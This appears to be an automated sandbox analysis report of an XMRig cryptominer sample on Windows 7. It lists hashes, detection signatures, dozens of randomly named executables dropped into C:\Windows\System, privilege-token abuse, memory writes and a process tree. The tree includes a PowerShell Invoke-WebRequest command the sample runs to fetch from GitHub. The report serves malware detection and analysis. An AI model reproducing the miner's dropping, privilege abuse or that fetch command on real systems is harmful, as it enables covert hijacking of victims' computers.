xmrig | b0cb8ea560ab5b1bbbb7c4966ffa18a3d96b5f4bfe89bbe24f426631059954fa

Analysis

max time kernel
16s
max time network
28s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
28/04/2024, 19:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
Size

2.2MB
MD5

05e656606a2cf2719313ac868b0312ca
SHA1

1c27f58f7ecc9bd3c99d20e9dd6fb3814077c961
SHA256

b0cb8ea560ab5b1bbbb7c4966ffa18a3d96b5f4bfe89bbe24f426631059954fa
SHA512

f624a228cad7679d0a9019d720f5550ae7d45657ba79fc0bbb9ee4589a20028d0eb381f6f224c28494b5c5463d269acb10f3852cc2d00ea2840b6dd6973bf509
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1VQx7Va4qrfr:NABs

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/2760-55-0x000000013FFC0000-0x00000001403B2000-memory.dmp	xmrig
behavioral1/memory/2852-62-0x000000013F330000-0x000000013F722000-memory.dmp	xmrig
behavioral1/memory/3060-58-0x000000013F7D0000-0x000000013FBC2000-memory.dmp	xmrig
behavioral1/memory/2688-57-0x000000013FDF0000-0x00000001401E2000-memory.dmp	xmrig
behavioral1/memory/2108-49-0x000000013F770000-0x000000013FB62000-memory.dmp	xmrig
behavioral1/memory/2024-15-0x000000013F790000-0x000000013FB82000-memory.dmp	xmrig
behavioral1/memory/2728-363-0x000000013F820000-0x000000013FC12000-memory.dmp	xmrig
behavioral1/memory/2176-238-0x000000013FAD0000-0x000000013FEC2000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
2024	YJYJUNg.exe
3012	FzStAxG.exe
2728	PMNhZYd.exe
2108	NMxLneX.exe
2760	yKmoBRh.exe
2688	ZyLDIOi.exe
3060	QlMNnXz.exe
2612	jPzPOkg.exe
2852	CkLYyfb.exe
2944	tbTsTWK.exe
1944	lSRyZZi.exe
2576	JMJepUe.exe
1120	ggcLQPr.exe
2028	zgNdUOz.exe
1916	FsOnzgt.exe
1660	YFirvGE.exe
2580	LVOnxIW.exe
316	EVheZPw.exe
2388	TDpxBZS.exe
1448	OkUgjss.exe
2704	oEOhIas.exe
2244	YeayAEa.exe
1612	kXksEAX.exe
2224	jCPYUmn.exe
344	HjUDqHz.exe
636	YMavomH.exe
2276	fjxbdlt.exe
1636	JlETDTv.exe
536	dKTFxyr.exe
2144	Sqnaklu.exe
1792	uwWAOBN.exe
3032	NASuweU.exe
832	lRoLZhF.exe
2492	vJsSRgr.exe
1564	bsYvGlw.exe
2008	KVOfEBr.exe
1620	USPQhHa.exe
2440	oahckrr.exe
2964	PCINkQa.exe
1992	kuNsmtk.exe
1616	vEDGpPc.exe
2060	gKyjXAk.exe
1504	WYDRxyB.exe
1160	NDbruFb.exe
2112	mcsrNgy.exe
2904	aeHCqbC.exe
968	KsmmiDC.exe
1604	SurBzfw.exe
2772	VSiVIpX.exe
2968	aYnxKUD.exe
2240	iwwIBOC.exe
2348	rOuKBHK.exe
808	BQOxexS.exe
2952	XvhYrok.exe
1584	JiPVbID.exe
1812	iXpTUHY.exe
372	EJhSzzK.exe
2296	MlvDVbL.exe
448	LnIcleG.exe
2480	VkzhGOF.exe
1672	IkrnMFV.exe
976	RECxYvO.exe
2972	NUTpVul.exe
2920	gZFnRHk.exe

Loads dropped DLL 64 IoCs

pid	Process
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe

UPX packed file 47 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2176-1-0x000000013FAD0000-0x000000013FEC2000-memory.dmp	upx
behavioral1/files/0x000b000000012279-3.dat	upx
behavioral1/files/0x002c000000015ca9-9.dat	upx
behavioral1/files/0x0007000000015d02-24.dat	upx
behavioral1/files/0x0008000000015ced-16.dat	upx
behavioral1/files/0x0006000000016c5b-50.dat	upx
behavioral1/memory/2760-55-0x000000013FFC0000-0x00000001403B2000-memory.dmp	upx
behavioral1/memory/2852-62-0x000000013F330000-0x000000013F722000-memory.dmp	upx
behavioral1/files/0x0006000000016d01-77.dat	upx
behavioral1/files/0x0006000000016d4f-108.dat	upx
behavioral1/files/0x0006000000016d79-138.dat	upx
behavioral1/files/0x0006000000016d21-144.dat	upx
behavioral1/files/0x00130000000054a8-145.dat	upx
behavioral1/files/0x000600000001738e-184.dat	upx
behavioral1/files/0x00060000000173e2-181.dat	upx
behavioral1/files/0x00060000000173e5-186.dat	upx
behavioral1/files/0x000600000001708c-166.dat	upx
behavioral1/files/0x000600000001738f-179.dat	upx
behavioral1/files/0x0006000000016d73-155.dat	upx
behavioral1/files/0x0006000000016d57-153.dat	upx
behavioral1/files/0x0006000000016d46-151.dat	upx
behavioral1/files/0x0006000000016d36-149.dat	upx
behavioral1/files/0x00060000000171ad-171.dat	upx
behavioral1/files/0x0006000000016ca1-129.dat	upx
behavioral1/files/0x0006000000016d19-88.dat	upx
behavioral1/files/0x0006000000016d10-78.dat	upx
behavioral1/files/0x0006000000016cf2-69.dat	upx
behavioral1/files/0x0007000000016fa9-159.dat	upx
behavioral1/files/0x0007000000015d1e-43.dat	upx
behavioral1/files/0x0008000000016c57-39.dat	upx
behavioral1/memory/2728-33-0x000000013F820000-0x000000013FC12000-memory.dmp	upx
behavioral1/files/0x0007000000015d13-30.dat	upx
behavioral1/files/0x0006000000016d5f-115.dat	upx
behavioral1/memory/2944-102-0x000000013F410000-0x000000013F802000-memory.dmp	upx
behavioral1/files/0x0006000000016d3e-101.dat	upx
behavioral1/files/0x0006000000016d2d-100.dat	upx
behavioral1/memory/1944-91-0x000000013FFF0000-0x00000001403E2000-memory.dmp	upx
behavioral1/files/0x0006000000016ccd-76.dat	upx
behavioral1/memory/2612-61-0x000000013FC20000-0x0000000140012000-memory.dmp	upx
behavioral1/memory/3060-58-0x000000013F7D0000-0x000000013FBC2000-memory.dmp	upx
behavioral1/memory/2688-57-0x000000013FDF0000-0x00000001401E2000-memory.dmp	upx
behavioral1/memory/2108-49-0x000000013F770000-0x000000013FB62000-memory.dmp	upx
behavioral1/memory/3012-26-0x000000013F740000-0x000000013FB32000-memory.dmp	upx
behavioral1/files/0x0008000000015ce1-23.dat	upx
behavioral1/memory/2024-15-0x000000013F790000-0x000000013FB82000-memory.dmp	upx
behavioral1/memory/2728-363-0x000000013F820000-0x000000013FC12000-memory.dmp	upx
behavioral1/memory/2176-238-0x000000013FAD0000-0x000000013FEC2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\AysHDFp.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\mlyHMYE.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\wgyvgAs.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\uaUqvYZ.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\zgNdUOz.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\eeTuQki.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\MWawdNM.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\BbRKvDD.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\YFirvGE.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\upUjUlr.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\PRUEcFf.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\StCTNNM.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\InbykuG.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\RXEKFdV.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\BQOxexS.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\QzrfKyz.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\gWHANwI.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\ndzSPzB.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\vEDGpPc.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\bJSEVEv.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\nkAXXCF.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\OCszJqi.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\QaINXQx.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\AOrLJyH.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\rgKcgEB.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\UKEZzdo.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\wWGXbay.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\FCTHQzN.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\VHreIhr.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\zStkFQU.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\lqniZxm.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\qTLwadb.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\ewctFkr.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\CGvYuAv.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\OeJdWON.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\VigxBkU.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\PUAfQhw.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\QpSgxfq.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\ckhgpuW.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\UaHCfBY.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\dqVCZWC.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\VFEmEvk.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\tuNxapE.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\ZaOuffk.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\mGOmqPv.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\nMJwTPv.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\OkZENbN.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\iwwIBOC.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\PCINkQa.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\etDihjP.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\AAPIwpn.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\jPzPOkg.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\ZyLDIOi.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\USPQhHa.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\KsmmiDC.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\NQcwJMN.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\NMxLneX.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\esTjnHH.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\yEPdLGa.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\dBnaQXF.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\CuiQlBA.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\jCAQjRB.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\RlmVzQA.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
File created	C:\Windows\System\zBIwaET.exe	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2260	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
Token: SeDebugPrivilege	2260	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2176 wrote to memory of 2260	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	29
PID 2176 wrote to memory of 2260	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	29
PID 2176 wrote to memory of 2260	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	29
PID 2176 wrote to memory of 2024	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	30
PID 2176 wrote to memory of 2024	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	30
PID 2176 wrote to memory of 2024	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	30
PID 2176 wrote to memory of 2108	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	31
PID 2176 wrote to memory of 2108	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	31
PID 2176 wrote to memory of 2108	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	31
PID 2176 wrote to memory of 3012	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	32
PID 2176 wrote to memory of 3012	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	32
PID 2176 wrote to memory of 3012	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	32
PID 2176 wrote to memory of 3060	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	33
PID 2176 wrote to memory of 3060	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	33
PID 2176 wrote to memory of 3060	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	33
PID 2176 wrote to memory of 2728	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	34
PID 2176 wrote to memory of 2728	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	34
PID 2176 wrote to memory of 2728	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	34
PID 2176 wrote to memory of 2612	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	35
PID 2176 wrote to memory of 2612	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	35
PID 2176 wrote to memory of 2612	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	35
PID 2176 wrote to memory of 2760	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	36
PID 2176 wrote to memory of 2760	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	36
PID 2176 wrote to memory of 2760	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	36
PID 2176 wrote to memory of 2852	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	37
PID 2176 wrote to memory of 2852	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	37
PID 2176 wrote to memory of 2852	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	37
PID 2176 wrote to memory of 2688	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	38
PID 2176 wrote to memory of 2688	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	38
PID 2176 wrote to memory of 2688	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	38
PID 2176 wrote to memory of 2580	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	39
PID 2176 wrote to memory of 2580	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	39
PID 2176 wrote to memory of 2580	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	39
PID 2176 wrote to memory of 2944	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	40
PID 2176 wrote to memory of 2944	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	40
PID 2176 wrote to memory of 2944	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	40
PID 2176 wrote to memory of 2388	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	41
PID 2176 wrote to memory of 2388	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	41
PID 2176 wrote to memory of 2388	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	41
PID 2176 wrote to memory of 1944	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	42
PID 2176 wrote to memory of 1944	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	42
PID 2176 wrote to memory of 1944	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	42
PID 2176 wrote to memory of 1448	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	43
PID 2176 wrote to memory of 1448	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	43
PID 2176 wrote to memory of 1448	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	43
PID 2176 wrote to memory of 2576	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	44
PID 2176 wrote to memory of 2576	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	44
PID 2176 wrote to memory of 2576	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	44
PID 2176 wrote to memory of 2704	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	45
PID 2176 wrote to memory of 2704	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	45
PID 2176 wrote to memory of 2704	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	45
PID 2176 wrote to memory of 1120	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	46
PID 2176 wrote to memory of 1120	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	46
PID 2176 wrote to memory of 1120	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	46
PID 2176 wrote to memory of 2244	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	47
PID 2176 wrote to memory of 2244	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	47
PID 2176 wrote to memory of 2244	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	47
PID 2176 wrote to memory of 2028	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	48
PID 2176 wrote to memory of 2028	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	48
PID 2176 wrote to memory of 2028	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	48
PID 2176 wrote to memory of 1612	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	49
PID 2176 wrote to memory of 1612	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	49
PID 2176 wrote to memory of 1612	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	49
PID 2176 wrote to memory of 1916	2176	05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe	50

C:\Users\Admin\AppData\Local\Temp\05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\05e656606a2cf2719313ac868b0312ca_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Windows\System\YJYJUNg.exe
  C:\Windows\System\YJYJUNg.exe
  2⤵
  - Executes dropped EXE
  PID:2024
- C:\Windows\System\NMxLneX.exe
  C:\Windows\System\NMxLneX.exe
  2⤵
  - Executes dropped EXE
  PID:2108
- C:\Windows\System\FzStAxG.exe
  C:\Windows\System\FzStAxG.exe
  2⤵
  - Executes dropped EXE
  PID:3012
- C:\Windows\System\QlMNnXz.exe
  C:\Windows\System\QlMNnXz.exe
  2⤵
  - Executes dropped EXE
  PID:3060
- C:\Windows\System\PMNhZYd.exe
  C:\Windows\System\PMNhZYd.exe
  2⤵
  - Executes dropped EXE
  PID:2728
- C:\Windows\System\jPzPOkg.exe
  C:\Windows\System\jPzPOkg.exe
  2⤵
  - Executes dropped EXE
  PID:2612
- C:\Windows\System\yKmoBRh.exe
  C:\Windows\System\yKmoBRh.exe
  2⤵
  - Executes dropped EXE
  PID:2760
- C:\Windows\System\CkLYyfb.exe
  C:\Windows\System\CkLYyfb.exe
  2⤵
  - Executes dropped EXE
  PID:2852
- C:\Windows\System\ZyLDIOi.exe
  C:\Windows\System\ZyLDIOi.exe
  2⤵
  - Executes dropped EXE
  PID:2688
- C:\Windows\System\LVOnxIW.exe
  C:\Windows\System\LVOnxIW.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\tbTsTWK.exe
  C:\Windows\System\tbTsTWK.exe
  2⤵
  - Executes dropped EXE
  PID:2944
- C:\Windows\System\TDpxBZS.exe
  C:\Windows\System\TDpxBZS.exe
  2⤵
  - Executes dropped EXE
  PID:2388
- C:\Windows\System\lSRyZZi.exe
  C:\Windows\System\lSRyZZi.exe
  2⤵
  - Executes dropped EXE
  PID:1944
- C:\Windows\System\OkUgjss.exe
  C:\Windows\System\OkUgjss.exe
  2⤵
  - Executes dropped EXE
  PID:1448
- C:\Windows\System\JMJepUe.exe
  C:\Windows\System\JMJepUe.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\oEOhIas.exe
  C:\Windows\System\oEOhIas.exe
  2⤵
  - Executes dropped EXE
  PID:2704
- C:\Windows\System\ggcLQPr.exe
  C:\Windows\System\ggcLQPr.exe
  2⤵
  - Executes dropped EXE
  PID:1120
- C:\Windows\System\YeayAEa.exe
  C:\Windows\System\YeayAEa.exe
  2⤵
  - Executes dropped EXE
  PID:2244
- C:\Windows\System\zgNdUOz.exe
  C:\Windows\System\zgNdUOz.exe
  2⤵
  - Executes dropped EXE
  PID:2028
- C:\Windows\System\kXksEAX.exe
  C:\Windows\System\kXksEAX.exe
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Windows\System\FsOnzgt.exe
  C:\Windows\System\FsOnzgt.exe
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Windows\System\jCPYUmn.exe
  C:\Windows\System\jCPYUmn.exe
  2⤵
  - Executes dropped EXE
  PID:2224
- C:\Windows\System\YFirvGE.exe
  C:\Windows\System\YFirvGE.exe
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Windows\System\HjUDqHz.exe
  C:\Windows\System\HjUDqHz.exe
  2⤵
  - Executes dropped EXE
  PID:344
- C:\Windows\System\EVheZPw.exe
  C:\Windows\System\EVheZPw.exe
  2⤵
  - Executes dropped EXE
  PID:316
- C:\Windows\System\fjxbdlt.exe
  C:\Windows\System\fjxbdlt.exe
  2⤵
  - Executes dropped EXE
  PID:2276
- C:\Windows\System\YMavomH.exe
  C:\Windows\System\YMavomH.exe
  2⤵
  - Executes dropped EXE
  PID:636
- C:\Windows\System\JlETDTv.exe
  C:\Windows\System\JlETDTv.exe
  2⤵
